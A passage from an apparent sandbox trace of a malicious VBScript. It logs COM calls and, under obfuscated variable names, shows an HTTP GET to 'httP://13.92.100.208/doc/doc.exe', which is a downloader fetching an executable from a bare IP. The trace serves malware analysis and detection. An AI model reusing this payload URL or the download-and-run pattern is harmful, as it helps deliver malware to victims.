guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153844 | out: ppvObject=0x153844*=0x0) returned 0x80004002 [0088.966] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.966] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.966] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0088.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537d0 | out: ppvObject=0x1537d0*=0x83fd368) returned 0x0 [0088.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537cc | out: ppvObject=0x1537cc*=0x83fd378) returned 0x0 [0088.966] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0088.966] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.966] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.966] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0088.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537d0 | out: ppvObject=0x1537d0*=0x83fd368) returned 0x0 [0088.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537cc | out: ppvObject=0x1537cc*=0x83fd378) returned 0x0 [0088.966] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0088.966] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.966] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.966] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x3 [0088.967] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.967] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153858 | out: ppvObject=0x153858*=0x0) returned 0x80004002 [0088.967] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153874 | out: ppvObject=0x153874*=0x1112980) returned 0x0 [0088.967] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153860 | out: ppvObject=0x153860*=0x0) returned 0x80004002 [0088.967] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153828 | out: ppvObject=0x153828*=0x83fd368) returned 0x0 [0088.967] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153824 | out: ppvObject=0x153824*=0x83fd378) returned 0x0 [0088.967] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153860 | out: ppvObject=0x153860*=0x0) returned 0x80004002 [0088.967] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.967] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.967] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.967] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153828 | out: ppvObject=0x153828*=0x83fd368) returned 0x0 [0088.967] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153824 | out: ppvObject=0x153824*=0x83fd378) returned 0x0 [0088.967] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0088.967] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.967] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.967] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0088.967] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153828 | out: ppvObject=0x153828*=0x83fd368) returned 0x0 [0088.967] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153824 | out: ppvObject=0x153824*=0x83fd378) returned 0x0 [0088.967] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0088.967] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.967] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.967] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0088.967] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153828 | out: ppvObject=0x153828*=0x83fd368) returned 0x0 [0088.967] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153824 | out: ppvObject=0x153824*=0x83fd378) returned 0x0 [0088.967] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0088.968] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.968] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.968] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x3 [0088.968] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0088.968] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154900 | out: ppvObject=0x154900*=0x1112980) returned 0x0 [0088.968] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x154904 | out: ppvObject=0x154904*=0x0) returned 0x80004002 [0088.968] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548d4 | out: ppvObject=0x1548d4*=0x83fd368) returned 0x0 [0088.968] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1548d0 | out: ppvObject=0x1548d0*=0x83fd378) returned 0x0 [0088.968] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x154904 | out: ppvObject=0x154904*=0x0) returned 0x80004002 [0088.968] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.968] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.968] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0088.968] DOMDocument:IUnknown:Release (This=0x55539c) returned 0x0 [0088.968] DOMDocument:IUnknown:QueryInterface (in: This=0x555368, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x555368) returned 0x0 [0088.968] DOMDocument:IUnknown:AddRef (This=0x555368) returned 0x3 [0088.968] DOMDocument:IUnknown:Release (This=0x555368) returned 0x2 [0088.968] DOMDocument:IUnknown:Release (This=0x555368) returned 0x1 [0088.968] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0088.968] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="objhtxtpdownload", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0088.968] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="objhtxtpdownload", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0088.968] GetCurrentThreadId () returned 0xd44 [0088.969] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.969] DOMDocument:IUnknown:AddRef (This=0x555368) returned 0x2 [0088.969] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.969] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="tuqkal", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.969] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="tuqkal", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.969] GetCurrentThreadId () returned 0xd44 [0088.969] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.970] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.970] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="povmskfh32423", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.970] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="povmskfh32423", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.970] GetCurrentThreadId () returned 0xd44 [0088.970] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.971] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.971] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ahoy", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.971] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ahoy", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.971] GetCurrentThreadId () returned 0xd44 [0088.971] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.971] ??2@YAPAXI@Z () returned 0x86bff10 [0088.971] malloc (_Size=0x804) returned 0x83fc220 [0088.971] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.972] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0088.972] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="anny", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0088.975] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="anny", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0088.975] GetCurrentThreadId () returned 0xd44 [0088.975] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.976] DOMDocument:IUnknown:QueryInterface (in: This=0x555368, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d58 | out: ppvObject=0x154d58*=0x0) returned 0x80004002 [0088.976] DOMDocument:IDispatch:GetIDsOfNames (in: This=0x555368, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154d5c*="open", cNames=0x1, lcid=0x409, rgDispId=0x154d74 | out: rgDispId=0x154d74*=1) returned 0x0 [0088.987] DOMDocument:IUnknown:AddRef (This=0x555368) returned 0x2 [0088.987] DOMDocument:IUnknown:QueryInterface (in: This=0x555368, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d60 | out: ppvObject=0x154d60*=0x0) returned 0x80004002 [0088.987] DOMDocument:IDispatch:Invoke (in: This=0x555368, dispIdMember=1, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154d2c*(rgvarg=([0]=0x83d6768*(varType=0x400c, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8791bdc*(varType=0xb, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0000, varVal2=0x470e), varVal2=0x470e), [1]=0x83d6778*(varType=0x400c, wReserved1=0x0, wReserved2=0xb27, wReserved3=0x0, varVal1=0x879160c*(varType=0x8, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x83da080), varVal2=0x0), [2]=0x83d6788*(varType=0x8, wReserved1=0x15, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="get ", varVal2=0x83da080)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154d08, puArgErr=0x154d4c | out: pDispParams=0x154d2c*(rgvarg=([0]=0x83d6768*(varType=0x400c, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8791bdc*(varType=0xb, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0000, varVal2=0x470e), varVal2=0x470e), [1]=0x83d6778*(varType=0x400c, wReserved1=0x0, wReserved2=0xb27, wReserved3=0x0, varVal1=0x879160c*(varType=0x8, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1="httP://13.92.100.208/doc/doc.exe", varVal2=0x83da080), varVal2=0x0), [2]=0x83d6788*(varType=0x8, wReserved1=0x15, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="get ", varVal2=0x83da080)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154d08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154d4c*=0x555368) returned 0x0 [0088.988] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154864 | out: ppvObject=0x154864*=0x0) returned 0x80004002 [0088.988] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154854 | out: ppvObject=0x154854*=0x0) returned 0x80004002 [0088.988] DOMDocument:IUnknown:AddRef (This=0x1112980) returned 0x2 [0088.988] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154914 | out: ppvObject=0x154914*=0x1112980) returned 0x0 [0088.988] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153874 | out: ppvObject=0x153874*=0x1112980) returned 0x0 [0088.988] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153848 | out: ppvObject=0x153848*=0x0) returned 0x80004002 [0088.988] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537dc | out: ppvObject=0x1537dc*=0x83fd368) returned 0x0 [0088.988] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537d8 | out: ppvObject=0x1537d8*=0x83fd378) returned 0x0 [0088.988] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, 